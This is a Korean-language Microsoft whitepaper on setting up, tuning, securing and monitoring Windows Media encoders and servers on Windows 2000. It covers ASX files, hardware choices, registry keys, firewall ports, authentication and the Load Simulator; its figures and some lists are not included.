마지막 선택은 HTTP입니다. HTTP는 스트리밍 미디어를 위해 고안된 것이 아니며 전송 프로토콜이 아닌 응용 프로그램 계층 프로토콜이지만 방화벽을 통과할 수 있습니다. 웹을 탐색할 수 있는 모든 사람이 HTTP를 통해 스트리밍 파일을 받을 수 있습니다. HTTP만 사용하도록 지정하는 구문은 http://servername/filename.asf입니다.
ASX 파일 사용ASX 파일은 웹 페이지를 ASF 파일에 연결합니다. 웹 사이트에 액세스하는 모든 클라이언트가 Microsoft Internet Explorer를 실행하는 경우가 아니라면 HTML 페이지에서 직접 MMS 경로를 참조해서는 안됩니다. 다른 브라우저는 프로토콜을 이해하지 못하며 프로토콜이 발생해도 무시하기 때문입니다. 대신 스트리밍 미디어 파일을 가리키는 ASX 파일을 참조합니다.
다음은 간단한 ASX 파일의 예입니다.
<ASX version="3.0" > <Entry > <ref HREF=" mms://servernane/filename.asf "/> </Entry > </ASX > ASX 파일을 만든 다음 HTTP나 네트워크 서버에서 호스팅합니다. ASX 파일을 연결하려면 다음과 같이 HTML 페이지에서 표준 <A HREF> 태그를 사용합니다.
<a href="http://servername/path/asxname.asx">설명</a>
사용자가 ASX 파일에 대한 링크를 선택하면 브라우저에서 ASX 파일을 다운로드합니다. ASX 파일은 작습니다. 시스템은 파일 연결 테이블에서 ASX 확장명을 찾아 Windows Media Player를 시작합니다. 그 다음 Windows Media Player는 ASX 파일에서 ASF 파일의 위치를 찾은 다음 스트림을 시작합니다. ASX 파일 작성에 대한 자세한 내용은 MSDN Online Web Workshop 의 설명서를 참조하십시오.
Windows Media 인코더는 AVI, MP3 또는 WAV 형식일 수 있는 디지털 형식의 미디어 파일을 압축하여 Windows Media Player가 사용하는 ASF 형식으로 변환합니다. 인코더는 실시간 이벤트나 저장된 파일에 사용할 수 있습니다. 인코딩은 CPU를 많이 사용하는 작동이므로 Windows Media 서비스를 실행하는 컴퓨터가 아닌 별도의 컴퓨터에서 인코더를 사용하는 것이 좋습니다. 이 절에서는 인코더 사용과 관련된 다음과 같은 문제를 설명합니다.
컴퓨터 하드웨어 구성모든 상황에 적합한 단일 구성은 없습니다. 새 하드웨어를 구입하기 전에 고속 동작 비디오를 녹화할 것인지 또는 저속 동작 비디오를 녹화할 것인지 결정해야 합니다. 저속 동작의 예는 대화 중인 얼굴을 들 수 있습니다. 이 경우에는 처리 능력이 그렇게 많이 필요하지 않습니다. 고속 동작의 예는 뮤직 비디오와 같이 빠른 내용 변경이 많은 비디오를 들 수 있습니다. 이 경우에는 더 많은 처리 능력이 필요합니다.
CPU 선택일반적으로 하나의 Pentium II 프로세서가 모든 비디오를 최대 300Kpbs(경우에 따라 500Kbps)의 대역폭으로 실시간 인코딩을 수행할 수 있습니다. 최대 1Mbps의 대역폭에는 Pentium III나 동급의 프로세서를 사용해야 합니다. 더 높은 비트 속도가 필요한 경우(Microsoft CODEC은 실시간 인코딩을 최대 5Mbps까지 확장 가능)에는 프로세서를 하나 더 사용합니다. 일반적으로 새 장치를 구입한다면 Pentium III나 동급의 프로세서가 장착된 컴퓨터를 구입하도록 하십시오. 현재 그러한 처리 능력이 필요하지 않아도 앞으로 필요하게 될 것입니다.
메모리 추가보통 인코딩에는 64MB의 메모리가 최적의 용량입니다. 버퍼링이 발생하지 않으며 운영 체제와 응용 프로그램만 로딩하면 되므로 대용량 메모리는 필요하지 않습니다. 성능 도구를 사용하여 시스템이 디스크 페이징을 사용하지 않게 하십시오. 페이징을 사용하면 성능에 나쁜 영향을 미치게 됩니다. 성능 도구에 액세스하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 성능을 누릅니다.
사용 가능한 메모리를 확인하려면 MemoryAvailable Bytes 카운터를 추가합니다. 발생하는 페이징 양을 확인하려면 MemoryPages/sec 카운터를 추가합니다. 두 카운터 모두 Memory 머리글 아래에 있습니다. 그림 2는 카운터 추가의 예를 나타낸 것입니다.
그림 2 Pages/sec 카운터 추가
그림 3은 이들 카운터와 함께 사용 중인 프로세서 시간 양을 나타낸 것입니다.
그림 3 성능 모니터의 예
MemoryAvailable Bytes 카운터는 현재 프로세서가 사용할 수 있는 메모리의 양을 바이트 단위로 나타냅니다. 이 숫자는 항상 4MB 이상이어야 합니다. MemoryPages/sec 카운터는 페이지 오류 때문에 디스크에서 검색되거나 공간을 늘리기 위해 디스크로 쓴 페이지 수를 나타냅니다. 성능 도구에 대한 자세한 내용은 해당 도움말 파일을 참조하십시오.
디스크 드라이브 추가디스크 드라이브는 데이터가 들어오는 즉시 캡처하고 저장해야 하기 때문에 병목 지점이 될 수 있습니다. 드라이브의 데이터 전송 속도가 너무 느리면 데이터가 손실되고 스트림의 품질이 떨어질 수 있습니다. 300Kbps에서 500Kbps까지의 인코딩 속도에는 SCSI 드라이브를 사용하십시오. 이보다 빠른 속도에 대해서는 RAID 레벨 0 디스크 배열을 고려하십시오.
운영 체제 선택Windows Media 인코더는 Windows 2000 Professional과 Windows 2000 Server에서 모두 실행할 수 있지만 포그라운드 응용 프로그램에 우선 순위가 부여되는 Professional을 사용하는 것이 좋습니다.
비디오 캡처 카드 선택Windows Media Technologies와 호환되는 비디오 캡처 카드의 목록을 보려면 다음 주소에서 "Windows Media Hardware Providers" 웹 페이지를 참조하십시오.
http://www.microsoft.com/Korea/windows/windowsmedia/serve/encoding.asp
비디오 카드 중 일부만 두 운영 체제와 모두 호환되기 때문에 Windows 2000 운영 체제와 호환되는 카드 목록 대신 이 목록을 사용해야 합니다. 가장 많이 사용되는 비디오 캡처 카드는 Viewcast.com의 Osprey 100입니다. 이 카드는 오디오는 캡처하지 않지만 Osprey 100와 사운드 카드의 동기화에 있어 어떤 문제도 보고되지 않았습니다. 자세한 내용은 다음 웹 사이트를 참조하십시오.
http://www.vccsales.com/
사운드 카드 선택단일 오디오 스트림을 인코딩할 경우, Soundblaster Live와 같은 스테레오 사운드 카드를 선택합니다. 최소한 Soundblaster16이나 호환 카드를 사용해야 합니다. Windows 2000 운영 체제용으로 승인된 사운드 카드를 알고 싶으면 Windows 하드웨어 호환성 목록을 참조하십시오. Windows 2000과 호환되는 모든 사운드 카드는 Windows Media Technologies와 호환됩니다. 하드웨어 목록은 다음 웹 페이지를 참조하십시오.
http://www.microsoft.com/hcl/default.asp
이 절에서는 오디오와 비디오 인코딩 및 자동 인코딩 설정을 위한 기술을 설명합니다. 명백하게 알 수 있는 차이점 이외에 오디오와 비디오 인코딩 사이의 한 가지 차이점은 비디오 파일이 오디오 파일은 포함할 수 없는 다중 비트 전송률을 포함할 수 있다는 것입니다. 다중 비트 전송률을 사용하면 Windows Media Player가 사용자 네트워크 연결의 품질과 속도에 가장 적합한 비트 전송률을 선택하여 변화하는 네트워크 조건에 적응할 수 있습니다. 귀는 눈보다 훨씬 인식력이 높으며 눈이 비디오 스트림 대역폭 변화를 알아보는 것보다 귀가 오디오 스트림에 대한 변화를 쉽게 느낄 수 있으므로 이러한 것은 오디오 파일에서는 수행할 수 없습니다.
다중 오디오 스트림 인코딩여러 오디오 스트림을 동시에 인코딩하는 것은 일반적인 상황입니다. 대표적인 예는 온라인으로 방송하는 여러 라디오 방송을 인코딩하는 것입니다. 다중 오디오 스트림을 인코딩하려면 단일 시스템에서 동시에 여러 인코더를 사용하고 실행합니다. 인코더는 CPU를 많이 사용하기 때문에 가능하다면 Pentium III를 사용하십시오.
다중 오디오 스트림을 인코딩하기 위해 또 다른 중요한 고려 사항은 사운드 카드입니다. 단일 시스템에서 다수의 Soundblaster 카드를 사용할 때 문제를 경험한 고객이 많이 있습니다. 대신 슬롯은 하나지만 포트가 여러 개 있는 사운드 카드를 설치합니다.
다중 대역폭 비디오 스트림 인코딩Windows Media Technologies에는 네트워크 연결 속도를 검색하고 변화하는 네트워크 조건을 조정하며 자동으로 진행 중인 비디오 스트림 품질을 개선할 수 있는 지능적 스트리밍 기능이 있습니다. 현재의 Windows Media Technologies 버전 4.0에서 지능적 스트리밍은 다음과 같은 기능을 포함합니다.
자동 인코딩자동 인코딩은 시스템이 부팅되고 사용자가 로그온하면 자동으로 인코더가 시작하는 것을 의미합니다. 프로덕션 서비스가 온라인이고 지속적으로 실행되는 경우에 자주 사용됩니다. 자동 인코딩을 사용하려면 작업 표시줄 및 시작 메뉴 등록 정보 창을 사용하여 바로 가기를 만듭니다. 이 창을 열려면 시작 메뉴에서 설정을 가리키고 작업 표시줄 및 시작 메뉴를 누릅니다. 그림 4는 이 메뉴의 예를 나타낸 것입니다.
그림 4 작업 표시줄 및 시작 메뉴 등록 정보 창
추가를 누르고 바로 가기 만들기 텍스트 상자에 다음과 같이 입력합니다.
NsRex filename.asd /start
인코더 이름은 NsRex이며 filename은 인코더 구성을 저장하는 ASD(Advanced Stream Descriptor) 파일을 의미합니다. 여기에는 사용할 CODEC, 창의 크기, 비디오에 대한 프레임 속도와 I 프레임 수 등에 대한 정보가 포함됩니다. /start 옵션은 사용자가 로그온하면 인코딩이 시작된다는 것을 의미합니다. 이 프로세스를 완전히 자동화하려면 자동 로그온을 사용하여 이름이나 암호를 입력하지 않아도 되도록 만듭니다. 그림 5는 예를 나타낸 것입니다.
그림 5 프로그램을 위한 타이틀 선택
이 예제에서 인코더는 stereo28.8이라는 이름의 .asd 파일을 사용합니다.
이 절에서는 Windows Media 서비스를 실행하도록 컴퓨터를 구성하는 방법, 가장 뛰어난 성능을 활용할 수 있도록 서버를 조정하는 방법 그리고 서버의 보안을 유지하는 방법에 대해 설명합니다. 먼저 서버의 하드웨어 구성에 대해 설명합니다.
컴퓨터 하드웨어 구성CPU를 많이 사용하는 인코더와는 달리 서버는 I/O를 많이 사용합니다. 서버의 병목 지점은 네트워크 인터페이스 카드(NIC), 디스크 시스템의 순서로 발생합니다. CPU와 메모리는 3번째와 4번째의 병목 지점이지만 발생하는 경우는 거의 없습니다. 이 절에서는 Windows Media Server를 위한 최적의 하드웨어 구성에 대해 설명합니다.
CPU와 메모리 선택수천 개의 동시 연결을 처리하는 일반적인 Windows Media Server의 경우, Intel Pentium II 또는 동급의 프로세서를 사용하십시오. 서버가 2,000개 또는 3,000개의 동시 연결을 처리하지 않는 한 다중 프로세서는 필요하지 않습니다. 여기에서 각 연결은 20Kbps입니다. 비트 전송률이 높아지면 서버가 처리할 수 있는 동시 연결의 수가 적어집니다. 최대의 동시 연결을 처리하려면 다중 프로세서를 사용하십시오. 단일 프로세서 시스템의 경우, 256MB 메모리가 최적입니다. 다중 프로세서 시스템의 경우, 적어도 512MB를 사용합니다. 서버의 구성과 서버의 수요에 따라 메모리가 더 필요할 수 있습니다. 스트레스 상태의 서버 작동에 대해 알고 싶다면 이 백서의 뒷부분에서 설명하는 Windows Media Load Simulator를 사용합니다.
네트워크 인터페이스 카드 선택라이브 이벤트의 경우, 인코더와 서버 간을 고속으로 연결하는 것이 특히 중요합니다. 이 연결이 마스터 공급입니다. 충분한 대역폭을 사용할 수 없다면 마스터 신호의 품질이 떨어지고 그 결과 사용자는 낮은 품질을 전송 받게 될 것입니다. 네트워크 인터페이스 카드(NIC)의 경우, 고속 이더넷(100Mbps) 또는 10/100 교환 이더넷을 사용합니다. 교환 이더넷은 패킷을 10Mbps 공유 세그먼트에서 100Mbps로 실행되는 워크스테이션 또는 LAN 세그먼트로 전송합니다. 따라서 10Mbps에서 실행되는 다중 종단 스테이션이나 작업 그룹을 100Mbps에서 실행되는 서버에 연결할 수 있습니다.
T3 회선 용량 두 개를 모두 사용하는 4,000개의 동시 연결을 처리하려면 NIC를 하나 더 추가하여 인코더와 서버 사이에 별도의 연결을 만드는 것을 고려하십시오. 네트워크 연결이 모두 포화 상태인 경우에도 마스터 공급은 영향을 받지 않으며 성능이 저하되지 않습니다. 네트워크 카드는 데이터를 동시에 전송하고 수신할 수 있는 전이중으로 구성되어야 합니다.
디스크 드라이브 선택서버 성능이 좋으려면 빠른 디스크 드라이브가 필수적입니다. Windows Media Server의 확장성이 디스크 배열의 성능에 의해 제한되는 경우가 많습니다. 동시 연결의 수가 많은 경우에는 RAID 구성의 다중 하드 디스크를 사용하는 것이 좋습니다. 고속 데이터 전송 속도 때문에 SCSI, 파이버 채널(아래 내용 참조)과 같은 인터페이스를 고려해야 하지만 가장 적합한 구성을 결정하려면 선호하는 하드웨어 공급업체와 협의하십시오.
더 많은 파일이 사용되거나 사용할 수 있는 캐시가 적어지면(또는 두 경우 모두) 디스크 속도 요구 사항도 증가합니다. Windows Media Server는 캐싱을 사용하지 않는다는 것에 주의하십시오. 따라서 디스크 컨트롤러 자체에 캐싱이 있지 않는 한 데이터를 요구하는 각 읽기는 명시적으로 실제 디스크에서 데이터를 가져옵니다.
ASF 루트 디렉터리를 시스템 드라이브에 저장해서는 안됩니다. 그렇게 하면 시스템 드라이브에서 집중적인 작업과 디스크 스와핑이 발생할 수 있습니다. 또한 사용자가 여러 다른 경로를 통해 연결할 수 있도록 대단히 많이 사용되는 컨텐츠는 복제하여 여러 드라이브에 저장합니다. 경험에 의하면 하나의 디스크로 약 500개의 28.8Kbps 연결을 지원할 수 있습니다.
서버를 구성하였으면 성능 모니터와 함께 Windows Media Load Simulator를 사용하여 메모리 페이징과 프로세서 시간 등의 병목 상태를 검색할 수 있습니다. 서버가 로드를 처리하지 못할 경우, 하드웨어를 추가하거나 서버를 하나 더 추가합니다.
저장소 영역 네트워크고속 출력과 확장성이 중요한 대형 사이트를 관리하는 IT 관리자의 경우, 저장소 영역 네트워크(SAN)를 고려할 수도 있습니다. SAN은 저장소 전용 네트워크입니다. SAN은 RAID 디스크 배열, 디스크 드라이브 및 테이프 드라이브와 같은 저장 장치와 서버를 고속으로 상호 연결합니다. SAN은 높은 대역폭을 제공하는 것 이외에도 모든 저장 I/O를 네트워크의 별도 구역으로 격리하여 다른 네트워크 소통량이 I/O의 영향을 받지 않게 합니다.
SAN의 기본 네트워크 인프라를 Fibre Channel Arbitrated Loop(FC-AL)라고 합니다. 이 인프라는 양방향 지점간 직렬 데이터 채널을 위해 고안된 산업 표준 고속 인터페이스입니다. 이것은 100MB/s 이상의 속도로 최대 10km의 거리까지 시스템을 연결할 수 있습니다.
파이버 채널은 다중 프로토콜을 지원하여 동일한 케이블을 통해 TCP/IP 및 SCSI와 같은 프로토콜을 동시에 실행할 수 있습니다. 하나의 루프에 최대 126개의 노드를 연결할 수 있습니다. FC-AL 인터페이스를 지원하는 하드 드라이브의 예로는 Seagate의 Barracuda 및 Cheetah 드라이브가 있습니다. 이들 드라이브에 대한 자세한 내용은 아래의 웹 사이트를 참조하십시오.
http://www.seagate.com
서버 조정 성능서버의 성능을 개선할 수 있는 작업에는 다음과 같은 다양한 작업이 포함됩니다.
관련 없는 서비스 사용 안함서버에서 사용하지 않는 서비스를 실행하는 경우가 많습니다. 보통 이들 서비스는 시스템이 부팅되면 자동으로 시작됩니다. 이러한 서비스의 한 예로 응용 프로그램에 대한 고객 라이센스가 현재 유효한 것인지 확인하는 라이센스 로깅을 들 수 있습니다. 서버가 스트리밍 미디어 배포 전용으로 사용된다면 이 서비스를 계속 실행해야 할 이유가 없습니다. 또 다른 예로 인쇄 스풀러를 들 수 있습니다. 서버를 스풀러로 사용하지 않는다면 스풀러를 끕니다. 또한 고성능을 위해 Microsoft 인터넷 정보 서비스(IIS)와 Windows Media 서비스를 같은 서버에서 실행해서는 안됩니다. 서버를 Windows Media Server 전용으로 만듭니다. 같은 시스템에서 IIS를 실행한다면 컨텐츠 인덱스 작성기와 FTP 서비스는 사용하지 않는 것이 좋습니다. 인덱스 작성기는 상당한 양의 메모리와 디스크 공간을 요구하며 FTP 서비스는 대개 사용되지 않습니다. 일반적으로 꼭 필요한 서비스가 무엇인지 판단하고 필요하지 않은 서비스는 모두 중단합니다.
레지스트리 키 설정서버에 많은 로드가 걸릴 때 서버의 성능을 개선하기 위해 값을 조정할 수 있는 레지스트리 키에는 두 가지가 있습니다. 키가 없는 경우 키를 추가하거나 설정을 수정하려면 레지스트리 편집기를 사용합니다.
MaxConnectionPerSecondKeyMaxConnectionPerSecond 레지스트리 키는 보류 중인 요청을 유지하는 대기열의 크기를 설정하여 서버가 처리할 수 있는 초당 클라이언트 연결 요청의 수를 제어합니다. 클라이언트 연결 요청의 처리에는 시스템 리소스(CPU 주기 및 메모리)가 사용되며 컴퓨터 하드웨어 구성에 따라 클라이언트로 전달되는 미디어 스트림의 품질과 서버 성능에 나쁜 영향을 미칠 수 있습니다.
연결 요청이 클라이언트에서 Windows Media Server로 보내지면 요청은 연결 대기열에 배치되어 차례대로 처리됩니다. 서버에 연결하려는 클라이언트 시도가 이러한 연결 요청 처리를 위한 연결 속도를 초과한다면 대기열이 가득 차게 됩니다. 초당 처리되는 클라이언트 연결 요청 수에 대한 기본값은 Windows Media Server에 대한 최소 시스템 요구사항을 충족하는 컴퓨터가 연결된 클라이언트에 전달되는 스트림의 품질에 영향을 주지 않으면서 초당 25개의 연결 요청을 처리할 수 있기 때문에 25로 설정됩니다. 대기열에 있는 클라이언트 연결 요청의 수에 대한 값은 초당 클라이언트 연결 수의 20배와 같거나 기본적으로 500입니다. Windows Media Player가 장애 조치(failover) URL을 사용하여 연결을 시도하기 전에 20초 동안 대기하도록 설정되기 때문에 이 값은 연결 속도의 20배로 설정됩니다. 대기열의 모든 요청은 20초의 대기 시간 내에 처리됩니다.
서버는 대기열에 있는 클라이언트 수를 유지합니다. 대기열에 최대 허용 수만큼의 요청이 배치되면 서버는 연결 요청을 수신하는 것을 중지합니다. 연결을 시도하는 클라이언트는 즉시 서버를 사용할 수 없다는 메시지를 받게 됩니다. 이러한 상황이 발생할 때마다 오류 코드 503으로 Windows Media 로그 항목이 작성됩니다. Microsoft Windows 2000 Server 응용 프로그램 이벤트 로그에도 Windows Media 서비스가 %1의 최대 보류 연결에 도달했다는 내용의 메시지가 나타납니다.그러나 서버가 수신을 중지하고 로그 입력이 지난 1분 동안 이루어지지 않은 경우에만 이 항목이 작성됩니다. 여기에서 %1은 변수이며 표시되는 숫자는 대기열의 크기입니다. 그런 다음 서버는 2.5초마다 대기열이 꽉 찼는지 검사합니다. 클라이언트가 처리되어 대기열에서 제거되면 서버는 다시 연결 요청을 수신하기 시작합니다.
다중 프로세서가 있으며 메모리의 양이 큰 컴퓨터를 사용한다면 컴퓨터는 더 많은 수의 연결을 처리할 수 있을 것입니다. 그러나 이 값의 증가를 결정하기 전에 Windows Media Load Simulator를 사용하여 컴퓨터의 CPU와 메모리를 세심하게 평가하는 것이 좋습니다.
서버 연결 속도를 사용자 정의 값으로 설정하려면 변경해야 할 각 Windows Media Server 시스템 레지스트리를 편집합니다. 연결 속도가 특정 하드웨어 구성에 대해 너무 높거나 너무 낮다면 레지스트리 키 HKEY_LOCAL_MACHINE SYSTEM CurrentControlSet Services nsunicast Parameters MaxConnectionsPerSecond를 사용자 정의 값으로 설정할 수 있습니다. 고성능 서버에서는 75, 심지어 100의 값을 사용할 수 있어야 합니다.
MaxUserPort기본적으로 아웃바운드 호출에 사용하기 위해 응용 프로그램이 시스템에서 소켓을 요청하는 경우, 시스템은 1024와 5000 사이의 값으로 포트를 공급합니다. MaxUserPort 매개 변수는 아웃바운드 연결에 사용할 수 있는 최상위 포트의 값을 설정합니다. Windows Media Server가 로드가 심한 상태에서 작동한다면 이 값을 올려야 할 것입니다. 이 값을 설정하려면 HKEY_LOCALMACHINE SYSTEM CurrentControlSet Services Tcpip Parameters를 탐색합니다. 아직 없다면 MaxUserPort 값을 추가하고 이 값을 0xFFFE로 설정합니다.
최신 NIC 드라이버 사용NIC 드라이브를 최신의 상태로 유지하는 것이 중요합니다. 드라이버를 구형 드라이버에서 최신 버전으로 업데이트하면 성능이 상당히 증가됩니다.
서버 포트 번호TCP/IP 기반 네트워크 컴퓨터에서 실행되는 응용 프로그램에는 포트 번호가 할당됩니다. 이 번호는 들어오는 데이터를 올바른 서비스에 연결합니다. 잘 알려진 포트는 모든 사람들이 사용하는 표준 포트 번호입니다. 예를 들어, 포트 80은 항상 HTTP 소통량(웹 소통량)에 사용됩니다. Windows Media Technologies는 다음과 같은 포트 번호를 사용합니다.
이러한 포트에서 소통량을 허용하도록 방화벽을 구성해야 할 수도 있습니다. 또한 잘 알려지지 않은 포트를 여는 것이 문제가 되는 사이트에 경우, Windows Media는 포트 80에서 HTTP를 통해 스트리밍할 수 있습니다.
포트 번호와 DCOMDCOM(Distributed COM)은 프로세스마다 하나의 포트를 동적으로 할당합니다. DCOM 프로세스에 할당할 포트의 수를 결정해야 합니다. 이 수는 방화벽을 통해 전달되는 동시적인 DCOM 프로세스 수와 같습니다. 또한 원격 프로시저 호출(RPC) 끝 점 매핑에 사용할 포트 135를 열어야 합니다. 또한 DCOM에서 예약된 포트를 알 수 있도록 레지스트리를 편집해야 합니다. 이러한 작업은 HKEY_LOCAL_MACHINES Software Microsoft Rpc Internet 레지스트리 키로 수행합니다. 이 키는 레지스트리 편집기를 사용하여 만들 수 있습니다.
아래의 예에서는 DCOM에게 포트 범위를 10포트로 제한할 것을 지시합니다.
Named Value: Ports Type: REG_MULTI_SZ Setting: 포트 범위. 다음과 같이 여러 행일 수 있습니다. 3001-3010 135 포트 번호, 방화벽 구성 및 DCOM에 대한 자세한 내용은 다음 웹 사이트를 참조하십시오.
http://www.microsoft.com/korea/Windows/windowsmedia/serve/firewall.asp
이 절에서는 Windows Media Server의 보안을 유지하고 컨텐트를 보호하는 방법을 설명합니다. 서버는 두 가지 인증 방법 중 하나를 사용하여 보안을 유지할 수 있습니다. 컨텐트는 Windows Media Rights Manager로 보호할 수 있습니다.
유니캐스트 전송으로 인증인증은 서버에 액세스하는 사용자의 신분을 확인하는 것을 의미합니다. 유니캐스트 전송은 클라이언트와 서버 사이에 지점간 연결이 존재하기 때문에 자동으로 인증됩니다. 클라이언트와 서버 사이에 직접 연결이 없는 멀티캐스트 전송은 여러 가지 문제를 발생시킵니다. 멀티캐스트 전송에 의한 인증은 이 백서의 뒷부분에서 설명합니다.
Windows Media Server에서는 다음과 같은 두 가지 인증 방법 중 하나를 사용할 수 있습니다.
이것은 Windows Media 관리자를 사용하여 서버 등록 정보 아래에서 선택합니다.
익명 인증이 옵션은 기본값인 인증을 선택하지 않음을 선택하여 선택됩니다. 네트워크 관리자는 익명 인증을 사용하여 익명 로그온 사용자 계정 이름을 지정하거나 Netshow Services라는 기본 사용자 이름을 받아들이고 계정의 암호를 입력합니다. 클라이언트의 웹 브라우저가 사용자 이름이나 암호를 제공하지 않고 URL을 요청한다면 서버는 익명 사용자 계정을 가장하고 리소스에 대한 액세스를 시도합니다.
익명 액세스를 사용하면 IT 관리자가 NetShowServices 사용자 이름을 받아들이지 않음으로써 특정 파일에 대한 액세스를 거부할 수 있습니다. 이렇게 하려면 파일에 대한 액세스 제어 목록(ACL)을 설정합니다. 이 백서의 뒷부분에 나오는 "액세스 제어 목록 사용" 절을 참조하십시오. 사용자가 익명으로 Windows Media 컨텐트에 액세스를 시도하고 NetShowServices 계정에 그 파일에 대한 읽기 권한이 없다면 사용자는 로그온해야 합니다. 로그온이 거부되면 파일에 대한 사용자 액세스가 거부됩니다.
기본 인증기본 인증을 사용하면 클라이언트는 일반 텍스트(암호화되지 않은) 사용자 이름과 암호를 입력해야 하며 사용자 이름과 암호는 Base64로 암호화되어 서버로 전달됩니다. 서버는 사용자 이름과 암호를 디렉터리 데이터베이스와 비교하고 사용자 이름과 암호가 정확한 경우에만 서버는 사용자를 가장하고 리소스에 대한 액세스를 시도합니다. 기본 인증은 계정 데이터베이스의 정보를 사용하거나 설치된 경우 Microsoft Site Server Membership 계정의 정보를 사용할 수 있습니다.
Base64 암호화는 암호화의 최소 형식입니다. 네트워크 소통량을 모니터링하는 사용자가 실제 사용자 이름과 암호를 볼 수 없더라도 암호 해독은 중요하지 않습니다. 소통량을 모니터링할 정도로 기술이 뛰어난 사람들은 거의 알고리즘을 연구하여 역 변환할 수 있어 웹 사이트 침입에 사용할 수 있는 일반 텍스트 사용자 이름과 암호를 알아낼 수 있습니다.
인증 패키지 적용인증 패키지를 적용하려면 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media를 눌러 Windows Media 관리자를 엽니다.
인증 패키지를 적용하려면
액세스 제어 목록 사용인증 패키지가 활성화되면 Windows Media Server를 사용하여 액세스 제어 목록(ACL) 사용 확인 확인란을 선택하여 액세스 제어 목록(ACL)을 사용할 수 있습니다. 액세스 제어 목록은 폴더나 파일에 대한 액세스 권한이 있는 사용자와 그룹을 지정하는 파일이나 폴더에 관련된 항목 목록입니다. ACL이 없으면 모든 파일과 폴더에 인증이 필요합니다. ACL이 있으면 개별 파일과 폴더에 사용자별 권한을 설정할 수 있습니다.
ACL의 각 항목은 파일에 대한 다음과 같은 액세스 수준 중 하나 이상을 사용자나 그룹에 할당합니다.
유사한 사용 권한을 폴더에 대해서 설정할 수 있습니다.
자세한 내용은 Windows Media 관리자 도움말 파일에서 "Restricting access to ASF Streams" 페이지를 참조하십시오.
Windows Media Rights Manager컨텐트 작성자는 디지털 권한 관리 응용 프로그램인 Windows Media Rights Manager를 사용하여 패키지화된 암호화 파일 형식으로 인터넷을 통해 노래, 비디오 및 기타 미디어를 배포할 수 있습니다. 최종 사용자는 Windows Media Player로 재생하기 위해 파일의 암호를 해독하는 키가 있는 별도의 라이센스가 필요합니다.
Windows Media Rights Manager는 강력한 디지털 권한 관리 암호화 스키마를 사용합니다. 모든 파일은 Windows 운영 체제를 실행하는 각 PC에 고유한 암호화 형식으로 저장되므로 라이센스 보호에 대한 침입이나 파일의 복사가 매우 어려워집니다. 이 Windows 기반 PC별 암호화 스키마는 고객이 부주의하게 파일 보호를 위반하지 않도록 보호합니다. 또한 의도적인 해킹 행위의 저지책 역할도 합니다. Windows Media Rights Manager에 대한 자세한 내용은 다음 웹 페이지를 참조하십시오.
http://www.microsoft.com/windows/windowsmedia/support.asp
클라이언트에 대한 정보를 로깅하고 서버 성능을 평가하고 모니터링하는 여러 방법이 있습니다. 이 절에서는 다음과 같은 항목에 대한 개요를 설명합니다.
이 도구들에는 모두 자세한 자체 도움말이 있습니다. 자세한 내용은 각 도움말 파일을 참조하십시오.
Windows Media 관리자 로그Windows Media 관리자는 이벤트에 대한 정보와 유티캐스트 게시 지점에 연결된 클라이언트에 대한 정보를 로깅할 수 있습니다. 멀티캐스트 문제에 대한 정보 로깅은 더 어려운 문제이므로 멀티캐스트의 절에서 설명하기로 합니다. 기본적으로 로깅을 사용하지 않습니다. 로깅을 사용하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media를 눌러 Windows Media 관리자를 엽니다. 왼쪽의 메뉴에서 서버 등록 정보를 누르고 게시 지점 로깅 탭을 누릅니다. 그림 7은 예제 화면을 나타낸 것입니다.
그림 7 유니캐스트 로깅 사용
게시 지점 이벤트 로그는 클라이언트 작동의 날짜, 시간 및 설명을 표시합니다. 그림 8은 이 로그의 예를 나타낸 것입니다.
그림 8 Load Simulator 게시 지점 이벤트
Windows Media 관리자 게시 지점 클라이언트 로그는 다음과 같은 정보를 표시합니다.
그림 9는 게시 지점 클라이언트 대화 상자의 예를 나타낸 것입니다.
그림 9 게시 지점 클라이언트 로그 예제
이 경우에 Windows Media Load Simulator와 다중 클라이언트를 시뮬레이트하는 단일 컴퓨터를 사용하여 데이터를 수집했기 때문에 클라이언트 IP 주소가 모든 인스턴스에서 동일합니다. 각 클라이언트에는 임의로 할당된 별도의 포트 번호가 있습니다.
로그 파일 항목은 선택한 기간 동안 또는 파일이 지정한 크기에 도달할 때까지 저장됩니다. 파일은 W3C 표준 형식으로 저장됩니다. 파일은 메모장에서 볼 수 있으며 Windows Media SDK에는 로그 구문 분석을 위한 Windows Scripting Host 스크립트 예제가 수록되어 있습니다. 또한 로그 읽기와 해석에 사용할 수 있는 여러 가지 다른 공급업체 제품이 있습니다. 그러한 제품을 공급하는 회사는 다음과 같습니다.
Windows 2000 운영 체제는 관리 도구의 일부로 특별히 Windows Media Technologies 성능과 관련된 통계를 표시하는 모니터를 포함합니다. 이 도구를 액세스하려면 시작 메뉴에서 프로그램을 가리키고 관리 도구를 가리킨 다음 Windows Media 성능을 누릅니다.
그림 10은 이 도구를 나타낸 것입니다.
그림 10 Windows Media 성능 도구
이 도구는 보다 일반적인 성능 모니터와 비슷하지만 스트리밍 미디어에 관련된 카운터가 포함됩니다. 저장된 주문형 컨텐트에 있어 특히 중요한 통계는 Late Reads 카운터입니다. 이 숫자는 0이여야 합니다. 0이 아니라면 디스크 응답이 저하되고 있으며 요구를 따라가지 못한다는 것을 의미합니다. Late Reads는 정지 이미지와 웹 페이지 같은 정적 데이터 서비스를 제공할 때는 거의 문제가 되지 않지만 실시간 멀티미디어 컨텐트 서비스를 제공할 때는 데이터를 즉시 사용할 수 있어야 합니다.
Windows Media Load Simulator는 Windows 2000 리소스 키트에 포함됩니다. 또는 다음 웹 사이트에서 다운로드할 수도 있습니다.
http://www.microsoft.com/windows/windowsmedia/download/default.asp
이것은 클라이언트 시스템에서 실행되며 많은 수의 Windows Media Player 연결을 시뮬레이트하여 Windows Media Server에 대한 Windows Media 유니캐스트 서비스의 용량을 테스트합니다. 최고 로드와 스트레스에서 오프라인 서버를 모두 테스트합니다. 최고 로드는 정상적인 조건에서 최대 수의 클라이언트가 시스템을 사용하는 것 입니다. 스트레스 테스팅은 최고 로드 이상으로 클라이언트 수를 천천히 증가시키면서 수행합니다.
또한 Load Simulator는 온라인 Windows Media Server를 모니터링할 수 있으며 서버 성능이 저하되기 시작하거나 서버가 응답을 중지할 경우에 자동으로 관리자에게 알리도록 구성할 수 있습니다. 그림 11은 Load Simulator의 한 예를 나타낸 것입니다.
그림 11 Windows Media Load Simulator
